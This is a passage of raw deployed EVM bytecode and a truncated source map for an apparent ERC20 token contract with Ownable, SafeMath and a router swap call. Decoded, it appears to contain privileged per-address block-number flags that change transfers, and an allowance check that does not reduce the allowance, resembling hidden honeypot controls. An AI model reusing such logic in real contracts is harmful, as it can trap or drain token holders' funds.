1906118d0565b5f604051808303815f87803b158015610665575f80fd5b505af1158015610677573d5f803e3d5ffd5b5050505050610686565b610687565b5b5050565b60606003805461069a90611955565b80601f01602080910402602001604051908101604052809291908181526020018280546106c690611955565b80156107115780601f106106e857610100808354040283529160200191610711565b820191905f5260205f20905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b5f610727338484610db8565b6001905092915050565b5f600254905090565b565b5f610748848484610f7b565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61078f61125a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156107d3575f80fd5b600190509392505050565b565b5f600154905090565b60015481565b5f6108856107fb61125a565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461088091906117a4565b610db8565b6001905092915050565b60025481565b5f61089e611261565b90505f5b8383905081101561093d576108b5610d5b565b15610930576001826108c791906117a4565b60085f8686858181106108dd576108dc61170b565b5b90506020020160208101906108f29190611675565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806001019150506108a2565b50505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109cd610add565b73ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a906119cf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b606060048054610b1590611955565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190611955565b8015610b8c5780601f10610b6357610100808354040283529160200191610b8c565b820191905f5260205f20905b815481529060010190602001808311610b6f57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c1b575f80fd5b610cb0610c2661125a565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cab91906119ed565b610db8565b6001905092915050565b5f610ccd610cc661125a565b8484610f7b565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610d6461125a565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d90611a90565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611b1e565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6e9190611538565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fb3575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610ffc575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110599190611538565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110aa91906119ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6110f4611261565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111606103e86111526103e78761126890919063ffffffff16565b6112df90919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111ac5750815b156111b5578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838561120291906119ed565b8161120d91906117a4565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f808303611278575f90506112d9565b5f82846112859190611b3c565b90508284826112949190611baa565b146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90611c4a565b60405180910390fd5b809150505b92915050565b5f808211611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990611cb2565b60405180910390fd5b5f828461132f9190611baa565b90508091505092915050565b5f80fd5b5f80fd5b5f819050919050565b61135581611343565b811461135f575f80fd5b50565b5f813590506113708161134c565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61139f82611376565b9050919050565b6113af81611395565b81146113b9575f80fd5b50565b5f813590506113ca816113a6565b92915050565b5f80604083850312156113e6576113e561133b565b5b5f6113f385828601611362565b9250506020611404858286016113bc565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561144557808201518184015260208101905061142a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61146a8261140e565b6114748185611418565b9350611484818560208601611428565b61148d81611450565b840191505092915050565b5f6020820190508181035f8301526114b08184611460565b905092915050565b5f80604083850312156114ce576114cd61133b565b5b5f6114db858286016113bc565b92505060206114ec85828601611362565b9150509250929050565b5f8115159050919050565b61150a816114f6565b82525050565b5f6020820190506115235f830184611501565b92915050565b61153281611343565b82525050565b5f60208201905061154b5f830184611529565b92915050565b5f805f606084860312156115685761156761133b565b5b5f611575868287016113bc565b9350506020611586868287016113bc565b925050604061159786828701611362565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126115c2576115c16115a1565b5b8235905067ffffffffffffffff8111156115df576115de6115a5565b5b6020830191508360208202830111156115fb576115fa6115a9565b5b9250929050565b5f80602083850312156116185761161761133b565b5b5f83013567ffffffffffffffff8111156116355761163461133f565b5b611641858286016115ad565b92509250509250929050565b61165681611395565b82525050565b5f60208201905061166f5f83018461164d565b92915050565b5f6020828403121561168a5761168961133b565b5b5f611697848285016113bc565b91505092915050565b5f80604083850312156116b6576116b561133b565b5b5f6116c3858286016113bc565b92505060206116d4858286016113bc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050611746816113a6565b92915050565b5f602082840312156117615761176061133b565b5b5f61176e84828501611738565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117ae82611343565b91506117b983611343565b92508282019050808211156117d1576117d0611777565b5b92915050565b5f819050919050565b5f819050919050565b5f6118036117fe6117f9846117d7565b6117e0565b611343565b9050919050565b611813816117e9565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61184b81611395565b82525050565b5f61185c8383611842565b60208301905092915050565b5f602082019050919050565b5f61187e82611819565b6118888185611823565b935061189383611833565b805f5b838110156118c35781516118aa8882611851565b97506118b583611868565b925050600181019050611896565b5085935050505092915050565b5f60a0820190506118e35f830188611529565b6118f0602083018761180a565b81810360408301526119028186611874565b9050611911606083018561164d565b61191e6080830184611529565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061196c57607f821691505b60208210810361197f5761197e611928565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119b9602083611418565b91506119c482611985565b602082019050919050565b5f6020820190508181035f8301526119e6816119ad565b9050919050565b5f6119f782611343565b9150611a0283611343565b9250828203905081811115611a1a57611a19611777565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a7a602583611418565b9150611a8582611a20565b604082019050919050565b5f6020820190508181035f830152611aa781611a6e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b08602383611418565b9150611b1382611aae565b604082019050919050565b5f6020820190508181035f830152611b3581611afc565b9050919050565b5f611b4682611343565b9150611b5183611343565b9250828202611b5f81611343565b91508282048414831517611b7657611b75611777565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb482611343565b9150611bbf83611343565b925082611bcf57611bce611b7d565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c34602283611418565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9c601b83611418565b9150611ca782611c68565b602082019050919050565b5f6020820190508181035f830152611cc981611c90565b905091905056fea2646970667358221220d267cfe9322acd3ec5bd236c2f2c4780fb854b17083bda272bc6477557c6b70764736f6c63430008170033
Deployed Bytecode Sourcemap
2409:4968:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5488:572;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3332:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7216:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5389:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3578:38;;;:::i;:::-;;4071:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3622:35;;;:::i;:::-;;5089:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2477:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6797:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2514:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3705:360;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2944:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3423:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1510:148;;;:::i;:::-;;1664:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3663:36;;;:::i;:::-;;4305:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4714:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7004:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3539:33;;;:::i;:::-;;4574:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5488:572;5570:19;:17;:19::i;:::-;5566:487;;;5606:53;5623:4;5638:11;;;;;;;;;;;5652:6;5606:8;:53::i;:::-;5702:6;5675:9;:24;5693:4;5675:24;;;;;;;;;;;;;;;:33;;;;5723:28;5768:1;5754:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5723:47;;5810:4;5785:11;5797:1;5785:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;5848:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5831:11;5843:1;5831:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5882:11;;;;;;;;;;;:62;;;5945:6;5953:1;5956:11;5969:10;5999:2;5981:15;:20;;;;:::i;:::-;5882:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5591:423;5566:487;;;6035:7;;5566:487;5488:572;;;:::o;3332:85::-;3371:13;3404:5;3397:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3332:85;:::o;7216:158::-;7290:4;7307:37;7316:10;7328:7;7337:6;7307:8;:37::i;:::-;7362:4;7355:11;;7216:158;;;;:::o;5389:93::-;5435:7;5462:12;;5455:19;;5389:93;:::o;3578:38::-;:::o;4071:228::-;4159:4;4176:35;4186:4;4192:9;4203:7;4176:9;:35::i;:::-;4261:7;4230:11;:17;4242:4;4230:17;;;;;;;;;;;;;;;:27;4248:8;:6;:8::i;:::-;4230:27;;;;;;;;;;;;;;;;:38;;4222:47;;;;;;4287:4;4280:11;;4071:228;;;;;:::o;3622:35::-;:::o;5089:87::-;5132:7;5159:9;;5152:16;;5089:87;:::o;2477:28::-;;;;:::o;6797:201::-;6877:4;6894:74;6903:8;:6;:8::i;:::-;6913:7;6957:10;6922:11;:23;6934:10;6922:23;;;;;;;;;;;;;;;:32;6946:7;6922:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;6894:8;:74::i;:::-;6986:4;6979:11;;6797:201;;;;:::o;2514:58::-;;;;:::o;3705:360::-;3782:19;3804:16;:14;:16::i;:::-;3782:38;;3836:15;3831:227;3871:13;;:20;;3858:10;:33;3831:227;;;3929:19;:17;:19::i;:::-;3924:123;;;4030:1;4016:11;:15;;;;:::i;:::-;3977:9;:36;3987:13;;4001:10;3987:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3977:36;;;;;;;;;;;;;;;:54;;;;3924:123;3894:12;;;;;;;3831:227;;;;3771:294;3705:360;;:::o;2944:25::-;;;;;;;;;;;;;:::o;3423:110::-;3480:7;3507:9;:18;3517:7;3507:18;;;;;;;;;;;;;;;;3500:25;;3423:110;;;:::o;1510:148::-;1906:10;1895:21;;:7;:5;:7::i;:::-;:21;;;1887:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1617:1:::1;1580:40;;1601:6;::::0;::::1;;;;;;;;1580:40;;;;;;;;;;;;1648:1;1631:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1510:148::o:0;1664:71::-;1710:7;1727:6;;;;;;;;;;;1720:13;;1664:71;:::o;3663:36::-;:::o;4305:87::-;4344:13;4377:7;4370:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4305:87;:::o;4714:243::-;4787:4;4845:6;4812:11;:23;4824:10;4812:23;;;;;;;;;;;;;;;:29;4836:4;4812:29;;;;;;;;;;;;;;;;:39;;4804:48;;;;;;4863:64;4872:8;:6;:8::i;:::-;4882:4;4920:6;4888:11;:23;4900:10;4888:23;;;;;;;;;;;;;;;:29;4912:4;4888:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4863:8;:64::i;:::-;4945:4;4938:11;;4714:243;;;;:::o;7004:154::-;7073:4;7090:38;7100:8;:6;:8::i;:::-;7110:9;7121:6;7090:9;:38::i;:::-;7146:4;7139:11;;7004:154;;;;:::o;3539:33::-;:::o;4574:134::-;4646:7;4673:11;:18;4685:5;4673:18;;;;;;;;;;;;;;;:27;4692:7;4673:27;;;;;;;;;;;;;;;;4666:34;;4574:134;;;;:::o;5182:109::-;5233:4;5273:8;:6;:8::i;:::-;5258:24;;:10;;;;;;;;;;;:24;;;5250:33;;5182:109;:::o;2978:346::-;3097:1;3080:19;;:5;:19;;;3072:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;3179:1;3160:21;;:7;:21;;;3152:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;3262:6;3232:11;:18;3244:5;3232:18;;;;;;;;;;;;;;;:27;3251:7;3232:27;;;;;;;;;;;;;;;:36;;;;3300:7;3284:32;;3293:5;3284:32;;;3309:6;3284:32;;;;;;:::i;:::-;;;;;;;;2978:346;;;:::o;6066:655::-;6146:17;6202:1;6186:18;;:4;:18;;;6178:27;;;;;;6233:9;:15;6243:4;6233:15;;;;;;;;;;;;;;;;6224:5;:24;;6216:33;;;;;;6280:2;6265:25;;6274:4;6265:25;;;6284:5;6265:25;;;;;;:::i;:::-;;;;;;;;6338:5;6319:9;:15;6329:4;6319:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;6301:9;:15;6311:4;6301:15;;;;;;;;;;;;;;;:43;;;;6355:15;6394:16;:14;:16::i;:::-;6374:9;:15;6384:4;6374:15;;;;;;;;;;;;;;;;:37;;6355:57;;6423:25;6451:24;6470:4;6451:14;6461:3;6451:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;6423:52;;6510:1;6491:9;:15;6501:4;6491:15;;;;;;;;;;;;;;;;:20;;6490:36;;;;;6516:10;6490:36;6486:103;;;6558:17;6545:31;;6486:103;6599:17;6619:9;:13;6629:2;6619:13;;;;;;;;;;;;;;;;6599:33;;6667:9;6657:5;6656:21;;;;:::i;:::-;6643:34;;;;;:::i;:::-;;;6704:9;6688;:13;6698:2;6688:13;;;;;;;;;;;;;;;:25;;;;6135:586;;;;6066:655;;;:::o;5297:86::-;5338:7;5365:10;5358:17;;5297:86;:::o;4398:96::-;4447:7;4474:12;4467:19;;4398:96;:::o;1128:223::-;1186:7;1215:1;1210;:6;1206:23;;1226:1;1219:8;;;;1206:23;1239:9;1255:1;1251;:5;;;;:::i;:::-;1239:17;;1284:1;1279;1275;:5;;;;:::i;:::-;:10;1267:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;1342:1;1335:8;;;1128:223;;;;;:::o;942:178::-;1000:7;1032:1;1028;:5;1020:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;1076:9;1092:1;1088;:5;;;;:::i;:::-;1076:17;;1111:1;1104:8;;;942:178;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:126::-;727:7;767:42;760:5;756:54;745:65;;690:126;;;:::o;822:96::-;859:7;888:24;906:5;888:24;:::i;:::-;877:35;;822:96;;;:::o;924:122::-;997:24;1015:5;997:24;:::i;:::-;990:5;987:35;977:63;;1036:1;1033;1026:12;977:63;924:122;:::o;1052:139::-;1098:5;1136:6;1123:20;1114:29;;1152:33;1179:5;1152:33;:::i;:::-;1052:139;;;;:::o;1197:474::-;1265:6;1273;1322:2;1310:9;1301:7;1297:23;1293:32;1290:119;;;1328:79;;:::i;:::-;1290:119;1448:1;1473:53;1518:7;1509:6;1498:9;1494:22;1473:53;:::i;:::-;1463:63;;1419:117;1575:2;1601:53;1646:7;1637:6;1626:9;1622:22;1601:53;:::i;:::-;1591:63;;1546:118;1197:474;;;;;:::o;1677:99::-;1729:6;1763:5;1757:12;1747:22;;1677:99;;;:::o;1782:169::-;1866:11;1900:6;1895:3;1888:19;1940:4;1935:3;1931:14;1916:29;;1782:169;;;;:::o;1957:246::-;2038:1;2048:113;2062:6;2059:1;2056:13;2048:113;;;2147:1;2142:3;2138:11;2132:18;2128:1;2123:3;2119:11;2112:39;2084:2;2081:1;2077:10;2072:15;;2048:113;;;2195:1;2186:6;2181:3;2177:16;2170:27;2019:184;1957:246;;;:::o;2209:102::-;2250:6;2301:2;2297:7;2292:2;2285:5;2281:14;2277:28;2267:38;;2209:102;;;:::o;2317:377::-;2405:3;2433:39;2466:5;2433:39;:::i;:::-;2488:71;2552:6;2547:3;2488:71;:::i;:::-;2481:78;;2568:65;2626:6;2621:3;2614:4;2607:5;2603:16;2568:65;:::i;:::-;2658:29;2680:6;2658:29;:::i;:::-;2653:3;2649:39;2642:46;;2409:285;2317:377;;;;:::o;2700:313::-;2813:4;2851:2;2840:9;2836:18;2828:26;;2900:9;2894:4;2890:20;2886:1;2875:9;2871:17;2864:47;2928:78;3001:4;2992:6;2928:78;:::i;:::-;2920:86;;2700:313;;;;:::o;3019:474::-;3087:6;3095;3144:2;3132:9;3123:7;3119:23;3115:32;3112:119;;;3150:79;;:::i;:::-;3112:119;3270:1;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3241:117;3397:2;3423:53;3468:7;3459:6;3448:9;3444:22;3423:53;:::i;:::-;3413:63;;3368:118;3019:474;;;;;:::o;3499:90::-;3533:7;3576:5;3569:13;3562:21;3551:32;;3499:90;;;:::o;3595:109::-;3676:21;3691:5;3676:21;:::i;:::-;3671:3;3664:34;3595:109;;:::o;3710:210::-;3797:4;3835:2;3824:9;3820:18;3812:26;;3848:65;3910:1;3899:9;3895:17;3886:6;3848:65;:::i;:::-;3710:210;;;;:::o;3926:118::-;4013:24;4031:5;4013:24;:::i;:::-;4008:3;4001:37;3926:118;;:::o;4050:222::-;4143:4;4181:2;4170:9;4166:18;4158:26;;4194:71;4262:1;4251:9;4247:17;4238:6;4194:71;:::i;:::-;4050:222;;;;:::o;4278:619::-;4355:6;4363;4371;4420:2;4408:9;4399:7;4395:23;4391:32;4388:119;;;4426:79;;:::i;:::-;4388:119;4546:1;4571:53;4616:7;4607:6;4596:9;4592:22;4571:53;:::i;:::-;4561:63;;4517:117;4673:2;4699:53;4744:7;4735:6;4724:9;4720:22;4699:53;:::i;:::-;4689:63;;4644:118;4801:2;4827:53;4872:7;4863:6;4852:9;4848:22;4827:53;:::i;:::-;4817:63;;4772:118;4278:619;;;;;:::o;4903:117::-;5012:1;5009;5002:12;5026:117;5135:1;5132;5125:12;5149:117;5258:1;5255;5248:12;5289:568;5362:8;5372:6;5422:3;5415:4;5407:6;5403:17;5399:27;5389:122;;5430:79;;:::i;:::-;5389:122;5543:6;5530:20;5520:30;;5573:18;5565:6;5562:30;5559:117;;;5595:79;;:::i;:::-;5559:117;5709:4;5701:6;5697:17;5685:29;;5763:3;5755:4;5747:6;5743:17;5733:8;5729:32;5726:41;5723:128;;;5770:79;;:::i;:::-;5723:128;5289:568;;;;;:::o;5863:559::-;5949:6;5957;6006:2;5994:9;5985:7;5981:23;5977:32;5974:119;;;6012:79;;:::i;:::-;5974:119;6160:1;6149:9;6145:17;6132:31;6190:18;6182:6;6179:30;6176:117;;;6212:79;;:::i;:::-;6176:117;6325:80;6397:7;6388:6;6377:9;6373:22;6325:80;:::i;:::-;6307:98;;;;6103:312;5863:559;;;;;:::o;6428:118::-;6515:24;6533:5;6515:24;:::i;:::-;6510:3;6503:37;6428:118;;:::o;6552:222::-;6645:4;6683:2;6672:9;6668:18;6660:26;;6696:71;6764:1;6753:9;6749:17;6740:6;6696:71;:::i;:::-;6552:222;;;;:::o;6780:329::-;6839:6;6888:2;6876:9;6867:7;6863:23;6859:32;6856:119;;;6894:79;;:::i;:::-;6856:119;7014:1;7039:53;7084:7;7075:6;7064:9;7060:22;7039:53;:::i;:::-;7029:63;;6985:117;6780:329;;;;:::o;7115:474::-;7183:6;7191;7240:2;7228:9;7219:7;7215:23;7211:32;7208:119;;;7246:79;;:::i;:::-;7208:119;7366:1;7391:53;7436:7;7427:6;7416:9;7412:22;7391:53;:::i;:::-;7381:63;;7337:117;7493:2;7519:53;7564:7;7555:6;7544:9;7540:22;7519:53;:::i;:::-;7509:63;;7464:118;7115:474;;;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:180;7829:77;7826:1;7819:88;7926:4;7923:1;7916:15;7950:4;7947:1;7940:15;7967:143;8024:5;8055:6;8049:13;8040:22;;8071:33;8098:5;8071:33;:::i;:::-;7967:143;;;;:::o;8116:351::-;8186:6;8235:2;8223:9;8214:7;8210:23;8206:32;8203:119;;;8241:79;;:::i;:::-;8203:119;8361:1;8386:64;8442:7;8433:6;8422:9;8418:22;8386:64;:::i;:::-;8376:74;;8332:128;8116:351;;;;:::o;8473:180::-;8521:77;8518:1;8511:88;8618:4;8615:1;8608:15;8642:4;8639:1;8632:15;8659:191;8699:3;8718:20;8736:1;8718:20;:::i;:::-;8713:25;;8752:20;8770:1;8752:20;:::i;:::-;8747:25;;8795:1;8792;8788:9;8781:16;;8816:3;8813:1;8810:10;8807:36;;;8823:18;;:::i;:::-;8807:36;8659:191;;;;:::o;8856:85::-;8901:7;8930:5;8919:16;;8856:85;;;:::o;8947:60::-;8975:3;8996:5;8989:12;;8947:60;;;:::o;9013:158::-;9071:9;9104:61;9122:42;9131:32;9157:5;9131:32;:::i;:::-;9122:42;:::i;:::-;9104:61;:::i;:::-;9091:74;;9013:158;;;:::o;9177:147::-;9272:45;9311:5;9272:45;:::i;:::-;9267:3;9260:58;9177:147;;:::o;9330:114::-;9397:6;9431:5;9425:12;9415:22;;9330:114;;;:::o;9450:184::-;9549:11;9583:6;9578:3;9571:19;9623:4;9618:3;9614:14;9599:29;;9450:184;;;;:::o;9640:132::-;9707:4;9730:3;9722:11;;9760:4;9755:3;9751:14;9743:22;;9640:132;;;:::o;9778:108::-;9855:24;9873:5;9855:24;:::i;:::-;9850:3;9843:37;9778:108;;:::o;9892:179::-;9961:10;9982:46;10024:3;10016:6;9982:46;:::i;:::-;10060:4;10055:3;10051:14;10037:28;;9892:179;;;;:::o;10077:113::-;10147:4;10179;10174:3;10170:14;10162:22;;10077:113;;;:::o;10226:732::-;10345:3;10374:54;10422:5;10374:54;:::i;:::-;10444:86;10523:6;10518:3;10444:86;:::i;:::-;10437:93;;10554:56;10604:5;10554:56;:::i;:::-;10633:7;10664:1;10649:284;10674:6;10671:1;10668:13;10649:284;;;10750:6;10744:13;10777:63;10836:3;10821:13;10777:63;:::i;:::-;10770:70;;10863:60;10916:6;10863:60;:::i;:::-;10853:70;;10709:224;10696:1;10693;10689:9;10684:14;;10649:284;;;10653:14;10949:3;10942:10;;10350:608;;;10226:732;;;;:::o;10964:831::-;11227:4;11265:3;11254:9;11250:19;11242:27;;11279:71;11347:1;11336:9;11332:17;11323:6;11279:71;:::i;:::-;11360:80;11436:2;11425:9;11421:18;11412:6;11360:80;:::i;:::-;11487:9;11481:4;11477:20;11472:2;11461:9;11457:18;11450:48;11515:108;11618:4;11609:6;11515:108;:::i;:::-;11507:116;;11633:72;11701:2;11690:9;11686:18;11677:6;11633:72;:::i;:::-;11715:73;11783:3;11772:9;11768:19;11759:6;11715:73;:::i;:::-;10964:831;;;;;;;;:::o;11801:180::-;11849:77;11846:1;11839:88;11946:4;11943:1;11936:15;11970:4;11967:1;11960:15;11987:320;12031:6;12068:1;12062:4;12058:12;12048:22;;12115:1;12109:4;12105:12;12136:18;12126:81;;12192:4;12184:6;12180:17;12170:27;;12126:81;12254:2;12246:6;12243:14;12223:18;12220:38;12217:84;;12273:18;;:::i;:::-;12217:84;12038:269;11987:320;;;:::o;12313:182::-;12453:34;12449:1;12441:6;12437:14;12430:58;12313:182;:::o;12501:366::-;12643:3;12664:67;12728:2;12723:3;12664:67;:::i;:::-;12657:74;;12740:93;12829:3;12740:93;:::i;:::-;12858:2;12853:3;12849:12;12842:19;;12501:366;;;:::o;12873:419::-;13039:4;13077:2;13066:9;13062:18;13054:26;;13126:9;13120:4;13116:20;13112:1;13101:9;13097:17;13090:47;13154:131;13280:4;13154:131;:::i;:::-;13146:139;;12873:419;;;:::o;13298:194::-;13338:4;13358:20;13376:1;13358:20;:::i;:::-;13353:25;;13392:20;13410:1;13392:20;:::i;:::-;13387:25;;13436:1;13433;13429:9;13421:17;;13460:1;13454:4;13451:11;13448:37;;;13465:18;;:::i;:::-;13448:37;13298:194;;;;:::o;13498:224::-;13638:34;13634:1;13626:6;13622:14;13615:58;13707:7;13702:2;13694:6;13690: